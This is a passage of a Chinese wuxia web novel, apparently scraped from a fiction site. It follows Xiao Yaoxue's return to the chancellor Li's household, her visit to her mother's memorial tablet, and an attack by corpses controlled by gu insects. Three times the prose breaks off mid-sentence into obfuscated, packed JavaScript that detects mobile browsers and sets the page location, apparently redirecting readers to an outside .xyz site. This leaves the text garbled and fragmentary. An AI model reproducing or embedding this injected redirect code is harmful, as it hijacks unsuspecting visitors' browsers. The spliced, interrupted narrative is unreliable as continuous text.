想当时，萧妖雪所说的计谋就是找一个替身，但是这替身恐怕是有生命危险的，早就听闻李相最近提拔了一个巧匠，所造之物栩栩如生，便想出借这巧手一用，而这人说的正是赵江河。刚刚送走萧、袁二人李治便问他能不能一副木偶，那种穿上衣服便看不出是木偶的人偶。赵江河当时也觉得甚是有趣，便一口答应下，接下来几日可谓是不眠不休，一个关节他就要精心调整大半天，最后终于是在李相给的最后期限完成了，当时见木偶交与李治看时，李治都为之一惊，若不看面容，与真人无异。 之后赵江河又将操纵木偶机关的方法教给了要扮作侍女跟随在侧的袁梅。袁梅当时看到了这个木偶只觉得，这与真人无异。那只木偶垂首静立，鸦青色绸袍随穿堂风轻轻翻卷，露出半截象牙雕就的手腕——每一道指节纹路都清晰得仿佛能沁出温度。袁梅只需要轻轻的拉动手中丝线，这木偶的身体便随之而动，举手投足间没有一丝僵硬，行动起来更是与真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周明启生气过后也逐渐冷静下来，确实事情已然发生，现在责备过去已经于事无补了“李家没有拿着这事做文章，要不就是不想影响那贱人回去，要不就是想等着秋后算账。反正不管是什么，只要在他们想算账之前把他们干掉，那就没什么了。你们下去吧，给那几个兄弟家里安排安排，对了记得别用我的名义，不如就用你们主子的名义吧。” 几人面面相觑，周明启这般安排，岂不是摆明了要将今天这事嫁祸给他的徐战呀，虽说他可是东梁出了名的疯皇子，有什么想法都不奇怪，但徐战毕竟是他的师傅，此事…… 见几人迟迟不动作，周明启又补充道：“没事今天我和你说了什么，你们可以一字不差地全部告诉你们主子，他不是就快回京了吗，到时候我会当面和他说清楚的。” 萧云雁小记： 萧云雁在玄宗的那一战，很快就传遍了江湖，就在之后短短不到一月的时间，她就收到了五张请战帖，但是这些门派在江湖的名声确实一般。萧云雁一家都没有去，还是背着她的那被破布包裹得看不出形状的武器，到处游走。这一个月她从湿热的南疆一路北上，看到了满山桃花，也看到了潺潺溪流，没有再出过一次手，就像一个旅客一般游山玩水。 一月后她来到了天下第一武宗——云阁。云阁作为大宗并没有开擂台，而是在宗内设了辩武大会，所谓辩武也就是大宗门为了博眼球给擂台换了一个形式，除去云宗不少大宗都叫这个名字。只是此次云阁有本宗的两位武学大能做证，亲自讲解这一招一式的奥妙。于武者而言，能听一场辩武，甚观十场擂台。曾有传言有人听完之后便醍醐灌顶，修为大增。也正因如此，云阁的辩武大会门槛很高，没有请帖的人根本进不去。萧云雁便属于这一类。 但是此路并非不通，云阁在山下摆了三个擂台，每个擂台都有三张拜帖，连战三日，只要能成为当日的获胜者，就可以赢得一张拜帖。 萧云雁到山脚下之时已然是第二天傍晚，最后一个挑战者站上了擂台。此人看起来年纪轻轻，不知因为年小还是营养不良，看起来整个人都没有长开。但是他拿得剑却格外醒目，这柄剑来自最近西边刚刚崛起的马家，马家老爷铸得一手好剑，而最近刚出世的正是这少年手上这把断秋水。少年高声言道：“在下武清，前来问剑。” 此剑的来历不仅萧云雁看出来了，台下不少人也看出来了，都开始窃窃私语。守擂的是一个中年人，自然也看出其中的门道，丝毫不敢怠慢。 锣声过后，双方同时出手，武清的剑非常有气势，都是大开大合的招式，剑光如同一道白练划破夕阳，剑与剑碰撞的声音，在这样的场景中显得格外清晰。二人来来回回百来式一时之间竟然不分上下。台下众人则已早就看傻了眼。 萧云雁看着这少年的招式，也觉得此人颇有习武天赋。就在众人沉浸在这场武人的视觉盛宴之时，只听得台上一声清脆的叮当声，二人同时快速后退。此时二人的气息已经起伏不定，显然这是为最后一击在做准备。就在二人最后出手的那电光火石的瞬间，夕阳最后一道光消失在地面，断秋水的银光更盛，仿若一道月华倾下，这次的脆响不再是一声，而是两声。待众人看清了台上的情形之时，中年男子已经半跪在地，断秋水直指他的喉咙，胜负已分。 9. 祠堂夜谈 宴席过后，宾客散去，雨后池塘中的睡莲泛起淡淡清香，李治与萧妖雪坐在院中水榭之内，萧妖雪开口问道：“能否带我去看看母亲。” 李治饮尽杯中酒，淡淡问道：“你早就知道她走了。” “我刚进京都的时候就听到一则感人的故事，李府千金遇难，李夫人得知消息后悲痛欲绝，大病不起，不久后便撒手人寰。李相则夫妻情深，李夫人死后再也未立正室，而是与二房王氏简单度日。” 李治听完后脸上浮出一个苦笑，也未再多说什么，起身带着萧妖雪向祠堂走去。 此时萧妖雪对于这位久未谋面的父亲心中百味杂陈，她可以清晰地感受到，李治应当是真的认出她的身份，可是萧妖雪也说不明白，为何这其中给她一种说不清的疏离感，似乎他们在外人面前就只是合作伙伴，但是私下又是久别重逢的父女。 李氏祠堂不似李府中其他建筑那么富丽堂皇，简单朴素的一栋矮楼，外墙刷上暗红色的漆料，屋檐上几只脊兽点缀在上面，但是进了这祠堂才会知道什么叫做富贵，祠堂内一百零八盏长明灯终年不灭，这些长明灯采用的灯油都是自西域而来，除了不易被风吹灭，还散发着淡淡的花香，火光明亮照的祠堂内有如白昼。 东梁人对于传承极其看重，上到豪门贵族，下到山野农夫，或多或少都会有一本家谱，富贵人家就会设立祠堂，像李家这样摆满长明灯的祠堂那更是少见，整个京都可以与此处媲美，恐怕只剩天子的宗庙了。 宋独眼是李府中负责祠堂琐事的人，听说年轻时是个镖师，早年间给李府走镖被暗器伤了左眼，不得不摘除眼球，李治对他也有愧疚就留在府内，因为独眼见人担心吓着客人，就将他留在了祠堂。小时候李婉都觉得这祠堂中有个独眼妖怪，很是不喜来祠堂，可谁曾想到这些年后再进祠堂竟然是来看自己的娘亲。 宋独眼听见有人进来，便迎了上来，看到老爷身旁还有一位面容与夫人有七分相似的姑娘，想起之前听说小姐要回来了，那看来这位就今天老爷迎回来的小姐了。宋独眼出来的时候手上还拿着一块牌位，他将牌位递给李治，萧妖雪也看清了上面写着爱妻张清之位，与现在放在祠堂中那块牌位所不同的是将长女李婉已故改为了长女李婉。 不过说来奇怪，萧妖雪将供奉着的牌位一尊一尊的看完却未看见自己的。正要发问李治就转身对萧妖雪说：“给你娘亲换了一个牌位，也算告诉她她那女儿还在世，在下面找了这么多年也辛苦她了。”说罢将新做的牌位放了上去。 似乎是李夫人听到了这番话，又或是看到了牌位，这祠堂中的骤然吹过一阵微风，长明灯齐齐晃动，似乎在回应着二人。萧妖雪不信神佛，只是这一瞬间她真的觉得是母亲在天有灵。这些年在潇湘阁学艺，她设想过很多今日的情景，甚至在几年后，她觉得他已经放下了，一定能一笑而过，却不料真的站在这祠堂中，看着母亲的牌位，身后站着久违的父亲之时，她的眼泪又不受控制流了下来。在她没注意到地方，李治也偷偷的抹了一把眼泪。这次的重聚没有嚎啕大哭，没有相拥而泣，有的只是血脉相连的心意相通，风雨不定的重逢。 世人常说女子薄情，青楼中的女子更是早就看淡爱恨，师傅嘱咐自己此次回京只谈生死，莫问情愁，但是这世上的这些情感又怎会如此容易放下。 萧妖雪在一旁取了香烛，在地上重重的拜了了三拜，起身言道：“娘亲，女儿回来了，当年事情使你我二人天人相隔，如今我回来，不论如何当年的事情都会有个结果，我会给娘亲一个解释。”话音落下，萧妖雪又对着牌位拱手一拜。 从祠堂出来，白天时的阴云已经散去，月亮已经升到中天，父女二人并未回房休息，而是在这花园中踱步。夜晚李府的花园异常安静，池塘中的睡莲已经合上花瓣，似乎此时的对话不会有任何事物听到一般。 萧妖雪思索片刻开口道：“当年之事除了那几人，还有人活着回来吗？” 李治沉吟片刻：“当年回来的人不少，有一部分人先你们一步出发去了目的地，却在那里等到了晚上都没不见你们的踪影，沿路找回来才发现，马车遇袭，所以其中内情他们并不知晓。在车周围找到的三个幸存的家仆，都已经晕过去了。带回来后那三人才说出他们的遭遇。” “说来奇怪，当日若不是我被草丛中的猫叫所吸引，恐怕我现在真的就没命回来了。所以我实在很难想象他们三人并不会武，也非聪慧之辈能寻得一个好地方躲藏，是如何从这次事情中活着回来的。”说话间萧妖雪声音还是忍不住的颤抖。 “他们三人后来回府后，我也暗中派人去查了他们行踪和背景，的确没有什么可以怀疑的点，而且他们之后这些年也一直安分守己，并没有做出什么让人怀疑的事情。”李治又仔细的回想了一遍，最终还是觉得这三人看起来并没有什么疑点。 言至此处，其中内幕二人心中已有一些结论。不过过去十年没有行动，不代表接下来不会有行动，现在不知道他们用了什么办法活下来，但是既然李治认了萧妖雪这个江湖儿女当女儿，接下来的一段时间，会是他们出手的好时机。早秋的京都，夜晚已经有了一丝凉意，一阵微风吹过，不由得让人汗毛微颤。 告别了李治，萧妖雪在回房路上的转角处，乍然被李治的妾室王氏拦了下来。王氏手中拿着一件薄披风，她身上微微透着凉气，显然是出来找李治，在这里等了一会了。见萧妖雪过来便主动迎过去道：“妖雪，我有一事要与你商量。” 萧妖雪正纳闷，这王氏与自己并不相熟，之前都说这掌家主母常常会为难新到家中的女眷。王氏并没有嫁入李家，应当是母亲去世后，父亲才娶得她。根据之前得到的消息不少打着李婉的名号要认回李家的人都是被这位当家主母给踢出门外，也因此这位王氏在外面的风评，那确实不是一般的差。甚至还有搬弄是非的长舌妇说她就是当年李婉遇袭的真凶，为的就是气死母亲，然后来做这李家夫人。此等风言风语有段时间传的京都满城都是，而最后却在李治虽然迎娶了王氏但是并没有给她正室的位置，而王氏也一直以妾室自居，才渐渐平淡。 不等萧妖雪答应，王氏就将她拉进了旁边的一间房间，此时萧妖雪已经惊觉起来，气息微动，时刻准备调动腰上的流彩剑。王氏点亮屋内的烛台，萧妖雪看清这是一间简易的会客室，暗中调动气息感应，屋中除了简易的家居装饰并没有其他的东西。王氏也看出了萧妖雪的警觉，也便开门见山的说出自己的目的：“我见老爷这么晚了还不回房，担心他受凉，便说与他送件衣服过来。。虽然我知道妖雪你与我并不相熟，或许心中也还有芥蒂，但是刚刚不巧听到了你们的一点对话，让我想起府中这些年变化，越想越不对还是想把这事和你说一说。” 说到此处她明显感受到萧妖雪身上的杀气又释放了几分，不禁缩了缩脖子，却还是坚定的说了下去：“老爷说活着回来那几位，似乎就是经历那件事后，都有了一些变化，管家的腿脚不是那么灵便了，厨娘做饭老是切到手，马夫连下个马车都会摔着。后面老爷看他们如此，又念及旧情，也就分了些简单的事务给他们，马夫只用每日喂马打扫一下马厩，厨娘也只用去买一下府内所需菜品，至于管家也只是做一些简单迎来送往的工作。 不过到了这几年，他三人似乎更加笨拙，听府内丫鬟说有几次见他们走路都摔着，老爷还担心他们是因为当时落下的旧伤发作，本意是让我给他们些银子便让他们回家养老了，可是三人却破天荒的拒绝了。 再就说与他们同住的人都说三人都喜欢用花椒熏衣服，有段时间闹的家仆们苦不堪言，最后还是将他三人安排到一间才解决了个问题，不过到现在他三人身上还是浓浓的花椒味。”王氏虽非习武之人，但是对于萧妖雪身上散发出的杀气还是非常畏惧，竟然一口气说了这么一大段话，脸色难免变得刚难看了。但好在她感受到萧妖雪身上的气息弱了下来，终于有了能自由呼吸的感觉，让她忍不住大口呼吸着空气。 萧妖雪听后倒是觉得刚刚与李治谈话后还残存的怀疑现在已经彻底消失了，这三人定然是有问题的，从他们行动来看恐怕已经不是活人了。“二娘，谢谢你给我说这些，我心中自有打算，今日你与我说的话切记除了我父亲，谁都不可以说，可以吗？” 王氏看到萧妖雪放下了些警惕，而且似乎还挺重视自己说的话，也便松了一口气。萧妖雪将王氏送回房之时，李治还没回来，不远处书房之中烛影晃动，看来今晚李治又是在书房过夜。 萧妖雪回房后也是久久难以入眠，脑中回响着王氏所说的异象，突然她想到之前在书上所看到江湖中的一个门派——毒谷。毒谷的谷主名为千足王世世相传这一称号，毒谷之人擅长用毒，养虫。谷内有一门密术，将尸蛊寄宿在尸体中，由种蛊人亲自操控，那么尸体就可活动，但是有了蛊虫的尸体也更易腐败，只是若时间长了还是会出现僵硬、臭味。而控蛊者也可以通过蛊虫感受到尸体周围的情况，是一个不折不扣监视的好方法。这控蛊之术掌握最为娴熟自当是毒谷的谷主千足王。据说他将尸蛊种在前谷主体中，暗中控制了毒谷三年之久，后面伪造了前谷主试药身亡的假象，掩盖其体内的尸蛊。若是这千足王亲自出手，控制这三个家丁，而不露出破绽也倒是不无可能。 之后几日，府中却是一片安宁，预想中的麻烦事却一件都没有发生。萧妖雪在府中闲逛的时候也时常关注那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556994|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人的动向。但只能说他们的一切行为太过于正常了，丝毫没有任何动歪心思的行为，简直看不出一点破绽，甚至萧妖雪都有些怀疑这事实是否真是这三人因为运气太好而捡回一条命。 这日萧妖雪还是一如既往的在花园中端了一本闲书，表面上是在看书，但却是暗中观察着在不远处马厩喂马的马夫。那人看起来似乎是因为年纪大了，整个人的行动异常缓慢。举手投足间都如同慢动作般，萧妖雪因为练气的原因，眼力比一般的人好上不少，就这样盯着看了一会，还真让她看出了端倪。这个马夫拿草料之时，他的竟然手指只有右手的拇指和食指会弯曲，去拾取草料，其他的指头尽然就这样僵硬的抬着。而他的左手则是一种不太舒适的僵硬的姿势垂在身侧。但不知是否是因为萧妖雪为了看清这个细节盯他盯得太过于专注了，那马夫尽然似有所感知一样转头看向了萧妖雪。但是他却没有看到自家小姐那如鹰眼锐利般的眼神，而是看到，萧妖雪正在同小公子聊天的场景。 正在刚刚萧妖雪看的入神的时候，李无忧不知道从哪里冒了出来，作为一个武者身旁来了一人，萧妖雪定然是很快就发现了。转眼看到是李无忧，她顿时觉得一股无奈涌上心头。自从自己在回府那一日露了一手后，这小子第二天就缠着王氏说自己也想习武。王氏对于自己的孩子何其了解，这小子就是一天一个想法，或许睡一夜第二天就什么都不记得了。 这李无忧并非其他纨绔那般生的满身肥肉，或许是李府的饮食搭配良好，这小子长得匀称，没有满脸横肉，放在京都的公子堆里算是俊俏之辈。李无忧在之前并非没有没有表现出对习武的热爱，但是在气走几个师傅后，李治便没有再坚持了，毕竟他这宰相的老脸可禁不起这样丢。说到让这李无忧练武，也是因为他整天一身力气在这李府中上蹿下跳，李治也是希望消磨他一点精力，但是他却不上心，这几年可是气坏了不少老师傅，老师傅从基础的动作开始教，他就打盹，是一点都不听。师傅让他扎马步，只要旁若无人，他也就无人了。所以此事王氏虽与萧妖雪说了这娃儿的想法，不过他们谁都没当回事。但是这次另王氏没有想到是，李无忧之后几日都没有出府，整天都缠着萧妖雪问这问那。而这些问题中萧妖雪却隐约注意到李无忧的天赋，作为一个纨绔，他见多识广，作为当朝宰相的儿子，他继承了李治的果断和狠辣。这是不少人立志成为武者但是一直都没有成功的原因，提起刀杀一只鸡的勇气都没有，更别说与他人真刀实枪的战斗了。 这次李无忧突发奇想赖上了他这位长姐，倒是令府中众人都大吃一惊。不过好在萧妖雪这几日也闲来无事，便应下了李无忧。萧妖雪给了李无忧一本《金刚掌》让他自己去看，然后每天就和他比试两个时辰。这《金刚掌》其实是一部内外兼修的典籍，要发挥其威力还是需要与体内气息相结合。按理来说，李无忧这样刚入门的学徒，最忌讳自己摸索，不然误入歧途了那可就是一件麻烦事了。可偏偏萧妖雪剑走偏锋，李无忧也是天资异于常人，仅仅用了一周的门道就摸到了练气的门道，萧妖雪再一做引导，李无忧半月有余就赶上那些天资平平之辈一年有余的成果了，也便隐隐有了自己一试的想法。 李无忧小记： 一年前，李无忧在同他群狐朋狗友玩耍时，有一人拿出了一把短刀到处炫耀，这刀看上去就极尽奢华，挥舞起来上面的配饰更是叮咚作响，搭配着那小子不知道哪里学来的一招两式，完全满足了那些少年对江湖向往。当然也不排除李无忧。所以当日晚李无忧回到家中，便开始缠着李治要学刀，李治对于儿子这样看似积极向上的理由当然是无条件支持。 但是当李无忧真正开始习刀，李府上下才知道什么是鸡犬不宁。老师傅教刀的第一步一般是先练基本功，扎马步、挑水桶，再练内三合后练外三合，一套下来李无忧觉得折腾了几天刀都没有碰到，甚是无趣。就在下一次老师傅来教课之前，自己把早就准备好的木刀拿出来，端刀看刃的姿势颇有一副高手气派，旁边的下人纷纷叫好。 这似乎给了李无忧很大的鼓励，在老师傅再次让他扎了一个时辰马步后，李无忧操起身旁的木刀，在手中耍了一个花，之后把自己从小到大见过的招式全部照猫画虎的舞了一遍，气得老师傅直接背过身去不想再看。 而此时李无忧不知道哪根弦没有搭对，他竟然用木刀直接劈向老师傅。老人家可没想到这小小一个孩子竟然会如此下手，一个没留神，竟然忘了回身格挡，就这样硬生生吃了一记。在此之后无论李治怎么说好话，给出什么条件，那老师傅都只剩一句话：“朽木不可雕也。” 而江湖上这位小公子也是一战成名，再也没有人敢答应来李府小公子的师傅。 10. 尸蛊祸乱 京都的秋天秋高气爽，许多高门贵族都会有自己在乡野的庄子，以供携女眷出游，李府也不例外，李治在庄子购在京都外十里地的鹿坪丘，那里背山面水风景秀丽，后山山顶上修筑了一座观山亭，站在亭中远眺一面可以看到巍峨的京都，另一面可以看到环山而去的鹿溪。立秋之后山上的树叶一片金黄，无论是漫步山林之间还是闲坐于这亭中都是别有一番风味。 李治前不久解决好秋收赋税的问题，这几日也是难清闲，便说安排李府上下到庄子里散散心。自己因为有早朝要去，便吩咐李安国先带着萧妖雪、李无忧前去，待自己回来再叫上王氏前去。府上的伙计得知了这个消息也是乐开了花，这举家外出，他们自然就落得清闲，只是有三位家丁面上却露出了凝重。 同样是举家出行，十年前与十年后是否还是生死难料，又或者是瓮中捉鳖。萧妖雪再次坐在李府的马车里，只是这次不同的是天朗气清，身边有李安国、李无忧相伴。三人一路有说有笑，李无忧喜欢听萧妖雪讲江湖上的事情，李安国虽然不是时常接话，但是每每听到萧妖雪谈到那些江湖的腥风血雨之时也会出言探讨一番。 他们几人并未带过多的杂役，李安国亲自赶了马车，李无忧好动坐不住马车，便自己骑了一匹马，萧妖雪带着行囊坐在马车里。出城一路无事，三个时辰后行至接近庄子突然有一李府穿着的小厮快马来报：“大少爷不好了，李管家出事了，他突然行为奇怪，冲进厨房拿刀见人就砍，府上的侍卫已经将他控制住了，王夫人说自己不好处置，想您快回去看看。” 听到这里萧妖雪和李安国都是一惊，毒谷的尸蛊不是什么秘密。想必李府之前也查过，如今这李管家的症状与尸蛊发作的情况如出一辙，这普通的侍卫是很难处理。此若真如此人所说那么，李府已经不安全了，就算萧妖雪入府那一日展现出的手段不一般，但是他也没有理由让她跟随自己回去冒险。故而李安国也不犹豫，安排了一个随从驾车，让萧妖雪和李无忧二人先行前往庄子，自己则跟随那小厮返回李府。这庄子与李府之间距离就算快马也要两个时辰才可以到，李安国只期待李府之内不要再生枝节。 眼见大哥离开了，李无忧难免有些失落。他与李安国虽是同父异母，但是他自小就是跟着李安国屁股后面长大的，平日出游也是李安国带着的上山爬树，下水摸鱼。这次兄长突然半途退出难免让他有些失落。而且李安国对于鹿坪丘的感觉谈不上好，他只觉得这里氛围太过于生疏。用父亲的话来说是这里下人都很安分，但是李无忧只觉得这是一股子疏离感。不过好在萧妖雪的存在吸引了他大部分的注意，这位姐姐身上虽然有很多神秘的地方，但是却让他有一种安全感。 就在李无忧还沉浸李安国先行离开的失落感之中，马车已经缓缓行进了庄子。说是进庄子其实离着落脚处还有几里地，李治的这个宅子中还有几倾良田，其中的作物均是金贵之物。路过麦田时已经金黄一片，微风吹过裹挟着麦浪，别有一番风景。当今圣上喜欢以民生为重来赏赐，赏赐之物中不乏品种精贵的作物种子，所以在朝的官员，或是宅院府邸，或是乡野庄田，都或多或少有些田地。像李治这样的大官还会雇几个农耕的好手帮忙打理。所以这宅院中的人有二三十口，再加上今天他们从李府带过来侍奉的，让这原本冷清的宅院突然热闹了起来。不过双方仆从互不相识，要真是其中混进去了些什么还真难看出来。萧妖雪看着来来往往的人，仔细观察他们的动作，但却是一无所获。 与此同时的京中，圣上以迎接镇远将军回朝为由，设了晚宴，李治与刚好赶回京的李安国一同受邀参加了，这来宅子的时间便一推再推。晚宴之上丝竹之声不断，觥筹交错，唯有李安国心不在焉。今日赶回京都之后，发现府中的异动其实很容易就被平息了，而那李管家也只是因为饮酒过量，在那耍酒疯罢了，已经被捆好仍在柴房中了。而更令他不安的是王氏却说自己并未唤他回来，至于那个来通风报信的伙计却已经找不到人影，事已至此，就算是常人也隐隐感受到这调虎离山之计。正当他要再度赶去庄子时，就被路过的司空颜叫去参加晚宴，推脱不得。 宫中宴会之上，镇远大将军徐战坐在上位，身着紫色蟒袍，常年在边关征战，风沙将他皮肤打磨的甚是粗糙，满脸横肉，络腮的胡子也是无心打理。边境带兵打仗也是辛苦，徐战却依然身形肥胖，一双眼眸里却透着丝丝戾气。所以东梁百姓常常用镇远大将军来吓唬小孩的，如今恐怕胆子小的娃儿站他面前都会被吓的尿裤子。李治坐在徐战对面，面带笑容道：“徐将军得胜回朝，真是可喜可贺，多亏了大将军，这些年边疆才能频频传来捷报。入境边疆战况归于平缓，大将军得以回京，可要好好休养休养。”李治这番话便面上对徐战处处歌功颂德，却无不出不警告徐战且多管这京中之事。 徐战虽说是武夫莽人，却也心细如丝，又怎么会听不出李治这话外之音。不过面上表情不变道：“老夫我听说，李相最近寻得千金，也是可喜可贺，只可惜了你那薄命夫人，没机会再见一见你这女儿。不过你这女儿流落江湖这些年，如今寻回，李相你可要好好补偿她呀。”说完之后徐战如洪钟般的笑声响彻大殿。 李治自然也听出了徐战在暗指这京中之事他清晰得很，不过也只是一笑置之，毕竟到了他们的地位，谁在京城没几个眼线。李治举杯隔空敬了徐战一杯，徐战亦举杯回应，这番景象外人看来确实是和睦至极。 宴会过半，皇帝起身，道了几句总结的话便离场了，厅中众臣也显得放松了许多。李安国因为身份原因，所以并未与李治同坐，而是坐在了赵江河身边。二人本就交好，赵江河酒量不济这事李安国可是比他清楚多了，反倒是赵江河自己不自知，每次都要强撑，最后还得李安国给他收拾。今日赵江河刚刚一杯酒下肚，就已经有些神志不清，拉着李安国絮絮叨叨说这自己的那些机关设计，李安国正在为鹿坪丘的事烦心，无心搭理他，只是将他的酒壶给悄悄换成茶水。赵江河迷迷糊糊之中，话题便说道了自己的婚事，这倒是还是李安国提起几分兴趣“李兄，其实那日听到袁姑娘来找我时，我挺高兴的，再加上见了她的面，我更是不愿意就这样退了这婚。可是人家姑娘家不愿意，我也不好强迫，现在想来那时应当在明确一下心意。” 听了这话，李安国也是一笑：“你小子这就是见色起意，不过你们现在不也没有撕毁婚书吗，你不如在多去她面前表现表现，或许人家姑娘就心动了呢？” 赵江河一听这话脸上神情更是悲切：“李兄你倒是站着说话不腰疼，我又没钱，长相还平平，也不善交际。人家袁姑娘那么漂亮，又是江湖中人，哪能看得上我。” 李安国一听也不乐意了：“江河你怎么这么说，你那一手机关术，谁看了不说句好，你听你李兄的，你呀给她做点技巧的小东西，到时候我托妖雪搭个桥，这事不就成了。” 赵江河那原本沮丧的眼眸里又有了一丝希望，像是鼓起了莫大的勇气举起杯中茶水一饮而尽，却没有半分知觉，只是像喝了一杯美酒一般，然后还是不出李安国所料的睡了过去。李安国长叹一口，心想好在今日他是带了仆从来，不然自己不到什么时候才能去鹿坪丘。 因为李治等人还未到宅院，萧妖雪与李无忧的晚饭也吃得比较简单，才刚刚入夜，二人就收拾睡觉了。当躺下没多久，萧妖雪的屋外就传来敲门声，接着伴着李无忧略带稚气的声音：“雪姐姐，睡了吗？” 萧妖雪无奈下床打开门后看见李无忧穿着单薄的睡衣站在门口，萧妖雪问道：“这个时候不睡觉来找我做甚？” “雪姐姐，我刚刚运气觉得有点不顺畅，你帮我指导指导呗？” 要说今晚李无忧吃饭吃撑了来找她，她都相信，但是说他练气不顺萧妖雪是定然不信，一来这孩子天赋异禀，气运又极好，要是他练气出了问题，恐怕只要不当场爆体而亡，都是可以拉回正道的，二来他才开始练了半月的气息，哪里会体会到什么练气不顺。不过萧妖雪也冥冥中有种预感，若此时不将他引进来，恐怕之后她会后悔很长时间，于是便侧身让李无忧进了房。 今夜月色正好，天空中一轮弯月勾住很多人的心事。待萧妖雪的房内熄了灯火，宅院中的家仆开始不正常的晃动，似乎是在忍受一种最钻心的痛苦，又或是什么东西才刚刚开始适应这些躯体，但这样的动静并没有打扰到房中熟睡的两人。 梦中人本以为今日一切都会是巧合，却不料在下一秒，屋内弥漫起一股淡淡的杀气，萧妖雪突然一个激灵，一把拉起身旁的李无忧，翻身下床，就在下一秒床板便被震碎开来，里面翻出一人。原本晴朗的夜空不知何时已经被一层淡淡云彩笼罩，没了月光的照耀，鹿坪丘这荒凉之地可以说伸手不见五指。被突然拽起的李无忧还没弄清状况，就看到黑暗中一个人影向着自己扑来，萧妖雪一把将李无忧拽到身后，同时口中喊道：“无忧，点灯！”，手上动作不停，引导气息牵引起身旁的花瓶砸向黑影。出乎她意料的黑影似乎不惧受伤，之时略微一顿，又继续飞身向前，萧妖雪也是了然：看来毒谷终于出手了。气息引导流彩剑飞出，凌厉的剑气冲着黑影的手筋、脚筋挑去。一击得中黑影像是老旧的提线木偶关节已经受损，但是线还未断，还要继续表演，整个人及其不协调的向前移动。突然身后油灯亮起，眼见黑影已经近身，萧妖雪一掌推出，出掌之时伴随着灯亮，手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧妖雪带着李无忧冲出房门后，院子里并没意料之中的其他蛊人，但是房间的火已经烧得照亮了半边天，别说在院子另一边，就算出去二三里地都看得见，这院子中竟然还是除了火焰噼噼叭叭的声音以外什么都没有，寂静的可怕。 萧妖雪警惕将李无忧拉至身前，沿着院子边缘向宅子大门走去，走到中庭都未遇到其他任何人。鹿坪丘的中庭是一个开阔的院子，院子正中是用青石板铺的一块空旷区域，以供入住的人在这设宴，四周有四扇门通向别院。萧妖雪担心门内会有异变，这时并没有贴墙走，而是带着李无忧走了院子正中。就在他们过了院子的中心只是，四扇门同时被震开，数道身影从中冲出来，以合为之势将二人围住。此时的天空已是明月高悬，刚刚遮住弯月的云彩已经不知所踪，那一弯月牙挂在天上，却散发出阵阵肃杀的气息，如悬在头上的一柄弯刀。 萧云雁小记： 云阁山下设擂台的最后一日，萧云雁也如愿的拿到了拜帖，云阁建在高耸的破云山上。登顶只有一条窄窄的山道，清晨时分，山上的云雾还未散去之时，那山道若隐若现。如是稍不留神可能就会一脚踏空，跌入深渊。 只是今日不同往日，这条平日里人迹罕至的小路上，这时却是人头攒动。不少人推推搡搡只为了更早一些到达云阁，选一个好位置。甚至有人不惜借助轻功走上捷径。萧云雁只是缓缓的走在人群的最后，并不愿意参与到这场无用的竞技之中。正走着身后传来一个少年的声音：“萧女侠萧女侠，你等等我呀！”转头便看到那日擂台上那名拿着断水剑的少年，好似叫做武清。 “萧女侠，真的是你，那日擂台上就看到你了，我还以为是我眼花了，没想到真的是你。”这叫武清的小子一看就是一路跑上来，说话时都有些忍不住的喘气。 “我记得你，你叫武清。找我你是有什么事吗？”萧云雁有些不解，自己与这小子并未有交集，他是怎么认识自己的。 “萧女侠，你也是来云阁听辩武的吗？那真是太巧，我们一起吧。听说这次云阁派出的可是他们的大弟子路行，这人……”武清似乎并没有在意萧云雁问了什么，便开始自己絮絮叨叨说了起来，但是很快就被打断了。 “你且慢，武公子我们并不相熟，你不必如此热情，我不喜与人同行，你还是另寻他人吧。” 武清被突如其来的拒绝，说得一愣。随即说道：“萧女侠你该不会是嫌我烦吧，那我就跟你，我不说话。” 萧云听到这话，顿时想到，为何这几个月隐约都会觉得有人跟着自己，现在感受了一下，大概就是这小子吧。“首先不叫我萧女侠，其次……”这次轮到萧云雁话还没说完，就被武清打断“好的萧姑娘。” “……” 眼看那些自己已经离大部队越来越远了。萧云雁也不想再和武清废话，自顾自的加快了脚步，而这跟屁虫还真如他所说的那样一言不发的跟在这她身后，直到二人在会场的一个角落中落座。 11. 尸蛊祸乱2 高手过招之间过招，胜负就在一念之间。但是这样群殴的打斗，速战速决显然是难上加难。 围住萧妖雪二人的人无一例外都是被尸蛊控制住的尸体，而本不该在鹿坪丘的车夫和李管家也在其中，这些蛊人不痛不死，力大无穷。合围圈越来越小，就在蛊人伸出利爪向着二人抓来之时，萧妖雪拉住李无忧向着后院院门方向冲了过去，同时一手运气出掌，向着那方向的蛊人递出一掌，她手未触碰到蛊人，掌风在空中竟然凝出一道虚影，带着淡淡蓝色的虚影打出之时，李无忧只觉得一道寒气从萧妖雪身上升起，然后随着掌风远离。李无忧之前在《金刚掌》上看到一篇，讲述练气者可以以其控制天地间的元素，化无形与力量，想必雪姐姐刚刚那一掌便是凝聚了这深秋的寒气，而这一掌在武林中也有个名号——寒霜掌，以气凝形，只有真正练气之人才知道这一掌含金量。果然被那一掌打中的蛊人，行动骤然变换。尸蛊活动对周围的温度有一定要求，这一掌打入蛊人的体内，立即使尸蛊进入类似冬眠状态，无论操纵者如何控制都很难将他们完全唤醒，这也就减缓了他们的行动。 